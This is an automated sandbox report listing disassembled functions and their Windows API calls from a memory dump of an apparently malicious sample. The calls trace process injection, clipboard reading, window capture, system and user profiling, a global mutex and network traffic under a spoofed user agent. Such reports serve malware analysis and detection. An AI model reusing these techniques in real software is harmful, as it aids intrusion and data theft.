    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F924C, Relevance: 9.1, APIs: 6, Instructions: 57
    APIs
    • InterlockedExchange.KERNEL32(00A23060,00000000,7C80AE40), ref: 009F9261
    • InterlockedExchange.KERNEL32(00A23040,00000000), ref: 009F926A
    • InitializeCriticalSection.KERNEL32(00A23018), ref: 009F9271
    • GetProcAddress.KERNEL32(?,?), ref: 009F92D1
    • GetProcAddress.KERNEL32(?), ref: 009F92E2
    • GetProcAddress.KERNEL32(?), ref: 009F92F2
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A04962, Relevance: 9.1, APIs: 6, Instructions: 54
    APIs
    • GetUpdateRgn.USER32(?,?,?), ref: 00A049EA
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • TlsGetValue.KERNEL32 ref: 00A04982
    • SetRectRgn.GDI32(?,?,?,?,?), ref: 00A049A2
    • SaveDC.GDI32(?), ref: 00A049B2
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00A049C2
    • RestoreDC.GDI32(?), ref: 00A049D4
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A096EA, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A09703
    • CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00A0971B
    • CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00A09737
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 00A0974F
    • CryptDestroyHash.ADVAPI32(?), ref: 00A09766
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A09770
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A09656, Relevance: 9.1, APIs: 6, Instructions: 53
    APIs
    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00A0966F
    • CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00A09687
    • CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00A096A3
    • CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00A096BB
    • CryptDestroyHash.ADVAPI32(?), ref: 00A096D2
    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A096DC
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A18AB9, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238
    APIs
    • GetTickCount.KERNEL32 ref: 00A18BB5
    • GetUserDefaultUILanguage.KERNEL32 ref: 00A18C06
    • GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00A18C4B
    • GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00A18C91
      • Part of subcall function 00A10533: CreateMutexW.KERNEL32(00A22AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A10556
      • Part of subcall function 009FAD37: GetVersionExW.KERNEL32(?), ref: 009FAD5B
      • Part of subcall function 009FAD37: GetNativeSystemInfo.KERNEL32(?), ref: 009FAD6A
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A08245: GetSystemTime.KERNEL32(?), ref: 00A0824F
      • Part of subcall function 00A08245: SystemTimeToFileTime.KERNEL32(?,?), ref: 00A0825D
      • Part of subcall function 00A0826D: GetTimeZoneInformation.KERNEL32(?), ref: 00A0827C
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009FADB4, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
    APIs
    • ConvertSidToStringSidW.ADVAPI32(?,?), ref: 009FADC8
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
    • LocalFree.KERNEL32(?), ref: 009FAE5A
      • Part of subcall function 00A0C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A0C6C6
      • Part of subcall function 00A0C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A0C748
    • PathUnquoteSpacesW.SHLWAPI(?), ref: 009FAE31
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 009FAE42
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0A06B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
    APIs
    • InternetOpenA.WININET(?,?,00000000,00000000,00000000), ref: 00A0A082
    • InternetSetOptionA.WININET(?,00000002,00A2253C,00000004), ref: 00A0A0A1
    • InternetConnectA.WININET(?,00000000,00000000,00000000,00000000,00000003,00000000,00000000), ref: 00A0A0BE
    • InternetCloseHandle.WININET ref: 00A0A0CA
    Strings
    • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1), xrefs: 00A0A073, 00A0A081
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0A52D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43
    APIs
    • LoadLibraryA.KERNEL32(urlmon.dll), ref: 00A0A53E
    • GetProcAddress.KERNEL32(?,ObtainUserAgentString), ref: 00A0A551
    • FreeLibrary.KERNEL32(?), ref: 00A0A5A2
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A138DA, Relevance: 7.7, APIs: 5, Instructions: 163
    APIs
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00A13946
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A139D7
    • GetPrivateProfileIntW.KERNEL32(0000FFFF,?,00000015,?), ref: 00A139F1
    • GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00A13A1F
    • GetPrivateProfileStringW.KERNEL32(?,0000FFFF,00000000,0000FFFF,000000FF,?), ref: 00A13A3E
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1ACD8, Relevance: 7.7, APIs: 5, Instructions: 162
    APIs
      • Part of subcall function 009F7ED5: CreateMutexW.KERNEL32(00A22AFC,00000000,?), ref: 009F7EF6
    • GetCurrentThread.KERNEL32 ref: 00A1ACF9
    • SetThreadPriority.KERNEL32 ref: 00A1AD00
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 00A1AD1E
      • Part of subcall function 00A15B94: RegOpenKeyExW.ADVAPI32(80000001,00A24028,00000000,00000001,?), ref: 00A15BD3
    • CreateMutexW.KERNEL32(00A22AFC,00000001,?), ref: 00A1ADF7
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
      • Part of subcall function 00A09ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00A09EEB
      • Part of subcall function 00A09ED7: CloseHandle.KERNEL32 ref: 00A09EF6
      • Part of subcall function 00A0BD28: GetLastError.KERNEL32(7C802530,009F7E8B), ref: 00A0BD2B
      • Part of subcall function 00A0BD28: CloseHandle.KERNEL32 ref: 00A0BD39
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
    • WaitForSingleObject.KERNEL32(0000EA60), ref: 00A1AEBD
      • Part of subcall function 00A0BD18: ReleaseMutex.KERNEL32 ref: 00A0BD1C
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0E587, Relevance: 7.6, APIs: 5, Instructions: 111
    APIs
    • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000), ref: 00A0E5A8
      • Part of subcall function 00A0D92E: GetFileSizeEx.KERNEL32(?,?), ref: 00A0D93A
    • ReadFile.KERNEL32(?,?,00000005,?,00000000), ref: 00A0E5E9
    • CloseHandle.KERNEL32 ref: 00A0E5F5
    • ReadFile.KERNEL32(?,?,00000005,00000005,00000000), ref: 00A0E664
    • SetEndOfFile.KERNEL32 ref: 00A0E68A
      • Part of subcall function 00A0D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A0D8F0
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1678A, Relevance: 7.6, APIs: 5, Instructions: 110
    APIs
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • GetProcessId.KERNEL32(?), ref: 00A167F4
      • Part of subcall function 00A04EBF: CharLowerW.USER32 ref: 00A04EF2
      • Part of subcall function 009F7E34: CreateMutexW.KERNEL32(00A22AFC,00000001,?), ref: 009F7E7C
      • Part of subcall function 009F7F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 009F7F40
      • Part of subcall function 009F7F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 009F802C
    • GetThreadContext.KERNEL32(00000000,?), ref: 00A1689C
    • SetThreadContext.KERNEL32(00000000,00010003), ref: 00A168DC
    • VirtualFreeEx.KERNEL32(?,00000001,00000000,00008000), ref: 00A168F2
    • CloseHandle.KERNEL32(?), ref: 00A168FB
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0FA1C, Relevance: 7.6, APIs: 5, Instructions: 99
    APIs
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • GetDIBits.GDI32(00A245C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00A0FA54
    • GetDIBits.GDI32(00A245C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00A0FA6A
    • DeleteObject.GDI32(00000002), ref: 00A0FA77
    • CreateDIBSection.GDI32(00A245C0,?,00000000,00000000,00000000,00000000), ref: 00A0FAE7
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • DeleteObject.GDI32(00000002), ref: 00A0FB06
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A17784, Relevance: 7.6, APIs: 5, Instructions: 89
    APIs
    • ResetEvent.KERNEL32(?), ref: 00A1778F
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • InternetSetStatusCallbackW.WININET(?,00A1775B), ref: 00A177BF
    • InternetReadFileExA.WININET(?,?,00000008,00000000), ref: 00A177F7
    • GetLastError.KERNEL32 ref: 00A17801
      • Part of subcall function 00A0BCB2: TranslateMessage.USER32(?), ref: 00A0BCD4
      • Part of subcall function 00A0BCB2: DispatchMessageW.USER32(?), ref: 00A0BCDF
      • Part of subcall function 00A0BCB2: PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 00A0BCEF
      • Part of subcall function 00A0BCB2: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00A0BD03
    • InternetSetStatusCallbackW.WININET(?,?), ref: 00A1785A
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
      • Part of subcall function 00A080EB: HeapAlloc.KERNEL32(00000008,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?,?), ref: 00A0810D
      • Part of subcall function 00A080EB: HeapReAlloc.KERNEL32(00000008,?,?,00A0847D,?,009F7A97,?,00A08FC7,?,?,009F7A97,?,?,00A08F77,?,?), ref: 00A0811E
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F8D90, Relevance: 7.6, APIs: 5, Instructions: 85
    APIs
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
    • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 009F8DDB
    • WriteFile.KERNEL32(?,?,000001DF,?,00000000), ref: 009F8E19
    • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 009F8E3D
    • FlushFileBuffers.KERNEL32(?), ref: 009F8E51
    • CloseHandle.KERNEL32(?), ref: 009F8E5A
      • Part of subcall function 00A0D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0D95E
      • Part of subcall function 00A0D955: DeleteFileW.KERNEL32(?), ref: 00A0D968
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A04CD7, Relevance: 7.6, APIs: 5, Instructions: 80
    APIs
    • GetWindowInfo.USER32(?,?), ref: 00A04CF6
    • IntersectRect.USER32(?,?), ref: 00A04D34
    • IsRectEmpty.USER32(?), ref: 00A04D46
    • IntersectRect.USER32(?,?), ref: 00A04D5D
      • Part of subcall function 00A04B5A: GetWindowThreadProcessId.USER32(?,?), ref: 00A04B85
      • Part of subcall function 00A04B5A: ResetEvent.KERNEL32(?), ref: 00A04BCD
      • Part of subcall function 00A04B5A: PostMessageW.USER32(?,?), ref: 00A04BF7
      • Part of subcall function 00A04B5A: WaitForSingleObject.KERNEL32(?,00000064), ref: 00A04C06
      • Part of subcall function 00A04B5A: ResetEvent.KERNEL32(?), ref: 00A04C31
      • Part of subcall function 00A04B5A: PostThreadMessageW.USER32(?,?,000000FC,?), ref: 00A04C45
      • Part of subcall function 00A04B5A: WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A04C57
      • Part of subcall function 00A04B5A: TerminateProcess.KERNEL32(?,00000000), ref: 00A04C7A
      • Part of subcall function 00A04B5A: IntersectRect.USER32(?,?,?), ref: 00A04CA2
      • Part of subcall function 00A04B5A: FillRect.USER32(?,?,00000006), ref: 00A04CB4
      • Part of subcall function 00A04B5A: DrawEdge.USER32(?,?,0000000A,0000000F), ref: 00A04CC8
    • GetTopWindow.USER32(?), ref: 00A04D8C
      • Part of subcall function 00A0CC46: GetWindow.USER32(?,00000001), ref: 00A0CC68
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A186E2, Relevance: 7.6, APIs: 5, Instructions: 70
    APIs
    • GetClipboardData.USER32(?), ref: 00A186EB
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • GlobalLock.KERNEL32 ref: 00A1871F
    • EnterCriticalSection.KERNEL32(00A24170,00000000), ref: 00A1875F
      • Part of subcall function 00A183EA: EnterCriticalSection.KERNEL32(00A24170,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18407
      • Part of subcall function 00A183EA: LeaveCriticalSection.KERNEL32(00A24170,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18428
      • Part of subcall function 00A183EA: EnterCriticalSection.KERNEL32(00A24170,?,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A18439
      • Part of subcall function 00A183EA: LeaveCriticalSection.KERNEL32(00A24170,?,?,?,?,00A186D2,00000000,?,?,?,00000009,00000000), ref: 00A184C1
    • LeaveCriticalSection.KERNEL32(00A24170,?,009F7298), ref: 00A18776
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • GlobalUnlock.KERNEL32(?), ref: 00A18789
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A160BE, Relevance: 7.6, APIs: 5, Instructions: 66
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00A160DC
    • GetModuleHandleA.KERNEL32(?), ref: 00A160FB
    • GetFileVersionInfoSizeA.VERSION(?,00000000), ref: 00A16106
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • GetFileVersionInfoA.VERSION(?,00000000), ref: 00A16125
    • VerQueryValueA.VERSION(?,009F7250,00000000,00000000), ref: 00A16145
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A16387, Relevance: 7.6, APIs: 5, Instructions: 65
    APIs
    • GetProcAddress.KERNEL32(?,?), ref: 00A163DB
    • GetProcAddress.KERNEL32(?,?), ref: 00A163E7
    • GetProcAddress.KERNEL32(?,?), ref: 00A163F3
    • GetProcAddress.KERNEL32(?,?), ref: 00A163FF
    • GetProcAddress.KERNEL32(?,?), ref: 00A1640B
      • Part of subcall function 00A15E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00A15E37
      • Part of subcall function 009F924C: InterlockedExchange.KERNEL32(00A23060,00000000,7C80AE40), ref: 009F9261
      • Part of subcall function 009F924C: InterlockedExchange.KERNEL32(00A23040,00000000), ref: 009F926A
      • Part of subcall function 009F924C: InitializeCriticalSection.KERNEL32(00A23018), ref: 009F9271
      • Part of subcall function 009F924C: GetProcAddress.KERNEL32(?,?), ref: 009F92D1
      • Part of subcall function 009F924C: GetProcAddress.KERNEL32(?), ref: 009F92E2
      • Part of subcall function 009F924C: GetProcAddress.KERNEL32(?), ref: 009F92F2
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A103CF, Relevance: 7.6, APIs: 5, Instructions: 64
    APIs
    • SHDeleteValueW.SHLWAPI(80000001,?,?), ref: 00A1040E
    • Sleep.KERNEL32(000001F4), ref: 00A1041D
    • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 00A10432
    • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00A1044A
    • RegCloseKey.ADVAPI32(?), ref: 00A10459
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0BA6A, Relevance: 7.6, APIs: 5, Instructions: 63
    APIs
    • socket.WS2_32(?,00000002,00000000), ref: 00A0BA7C
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,00A18A0E,00000000,?,00000000,00000000), ref: 00A0BAA6
    • WSAGetLastError.WS2_32(?,48000016,00000000,00000000,00A18A0E,00000000,?,00000000,00000000,00020000,00000001,?,00A18A0E,?,00020000), ref: 00A0BAAD
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • WSAIoctl.WS2_32(?,48000016,00000000,00000000,?,?,?,00000000,00000000), ref: 00A0BAD9
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • #3.WS2_32(?,?,48000016,00000000,00000000,00A18A0E,00000000,?,00000000,00000000,00020000,00000001,?,00A18A0E,?,00020000), ref: 00A0BAED
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0DCBF, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 00A0DCF0
      • Part of subcall function 00A0D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0D95E
      • Part of subcall function 00A0D955: DeleteFileW.KERNEL32(?), ref: 00A0D968
    • FindNextFileW.KERNEL32(?,?), ref: 00A0DD4B
    • FindClose.KERNEL32 ref: 00A0DD56
    • SetFileAttributesW.KERNEL32(?,00000080), ref: 00A0DD62
    • RemoveDirectoryW.KERNEL32(?), ref: 00A0DD69
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1B388, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • EnterCriticalSection.KERNEL32(00A245A0), ref: 00A1B39D
    • LeaveCriticalSection.KERNEL32(00A245A0), ref: 00A1B3BC
    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000927C0), ref: 00A1B3D3
    • EnterCriticalSection.KERNEL32(00A245A0), ref: 00A1B3DE
    • LeaveCriticalSection.KERNEL32(00A245A0), ref: 00A1B3FC
      • Part of subcall function 00A0B708: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0B733
      • Part of subcall function 00A0B708: recv.WS2_32(?,?,00000400,00000000), ref: 00A0B77B
      • Part of subcall function 00A0B708: #19.WS2_32(?,?,?,00000000,?,?,00000400,00000000), ref: 00A0B795
      • Part of subcall function 00A0B708: select.WS2_32(00000000,?,00000000,00000000,?), ref: 00A0B7D5
      • Part of subcall function 00A1B2E3: EnterCriticalSection.KERNEL32(00A245A0,?,?,00A1B607,00000000,00A1B388,?,000000FF,00000002,?,?,?,?,?), ref: 00A1B2F4
      • Part of subcall function 00A1B2E3: CloseHandle.KERNEL32(?), ref: 00A1B330
      • Part of subcall function 00A1B2E3: LeaveCriticalSection.KERNEL32(00A245A0,?,?,00A1B607,00000000,00A1B388,?,000000FF,00000002,?,?,?,?,?), ref: 00A1B37F
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A04AC6, Relevance: 7.5, APIs: 5, Instructions: 48
    APIs
    • GetCurrentThread.KERNEL32 ref: 00A04AD3
    • SetThreadPriority.KERNEL32 ref: 00A04ADA
    • SetEvent.KERNEL32 ref: 00A04AEC
      • Part of subcall function 00A04383: GetWindowInfo.USER32(?,?), ref: 00A043EF
      • Part of subcall function 00A04383: IntersectRect.USER32(?,?), ref: 00A04412
      • Part of subcall function 00A04383: IntersectRect.USER32(?,?), ref: 00A04468
      • Part of subcall function 00A04383: GetDC.USER32(00000000), ref: 00A044AC
      • Part of subcall function 00A04383: CreateCompatibleDC.GDI32 ref: 00A044BD
      • Part of subcall function 00A04383: ReleaseDC.USER32(00000000), ref: 00A044C7
      • Part of subcall function 00A04383: SelectObject.GDI32(?,?), ref: 00A044DC
      • Part of subcall function 00A04383: DeleteDC.GDI32 ref: 00A044EA
      • Part of subcall function 00A04383: TlsSetValue.KERNEL32(?), ref: 00A04535
      • Part of subcall function 00A04383: EqualRect.USER32(?,?), ref: 00A0454F
      • Part of subcall function 00A04383: SaveDC.GDI32 ref: 00A0455A
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A04575
      • Part of subcall function 00A04383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00A04595
      • Part of subcall function 00A04383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00A045A7
      • Part of subcall function 00A04383: RestoreDC.GDI32(?,?), ref: 00A045BE
      • Part of subcall function 00A04383: SaveDC.GDI32 ref: 00A045E0
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A045F6
      • Part of subcall function 00A04383: SendMessageW.USER32(?,00000014,?,00000000), ref: 00A0460F
      • Part of subcall function 00A04383: RestoreDC.GDI32(?,?), ref: 00A0461D
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A04630
      • Part of subcall function 00A04383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00A04640
      • Part of subcall function 00A04383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00A04652
      • Part of subcall function 00A04383: TlsSetValue.KERNEL32(00000000), ref: 00A0466C
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A0468C
      • Part of subcall function 00A04383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00A046A8
      • Part of subcall function 00A04383: SelectObject.GDI32(?,?), ref: 00A046BE
      • Part of subcall function 00A04383: DeleteDC.GDI32 ref: 00A046C5
      • Part of subcall function 00A04383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A046ED
      • Part of subcall function 00A04383: PrintWindow.USER32(00000008,?,00000000), ref: 00A04703
    • SetEvent.KERNEL32 ref: 00A04B39
    • GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00A04B46
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1C7B3, Relevance: 7.5, APIs: 5, Instructions: 32
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A1C7B9
    • ReleaseMutex.KERNEL32 ref: 00A1C7ED
    • IsWindow.USER32(?), ref: 00A1C7F4
    • PostMessageW.USER32(?,00000215,00000000,?), ref: 00A1C80E
    • SendMessageW.USER32(?,00000215,00000000,?), ref: 00A1C816
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0C8C5, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 103
    APIs
      • Part of subcall function 00A0977E: GetTickCount.KERNEL32 ref: 00A0977E
    • CharUpperW.USER32(?,?,.exe,00000000), ref: 00A0C9E6
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A143C2, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 00A0C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A0C6C6
      • Part of subcall function 00A0C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A0C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A14429
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00A1447B
      • Part of subcall function 00A0DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A0DDB9
      • Part of subcall function 00A0DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0DDE0
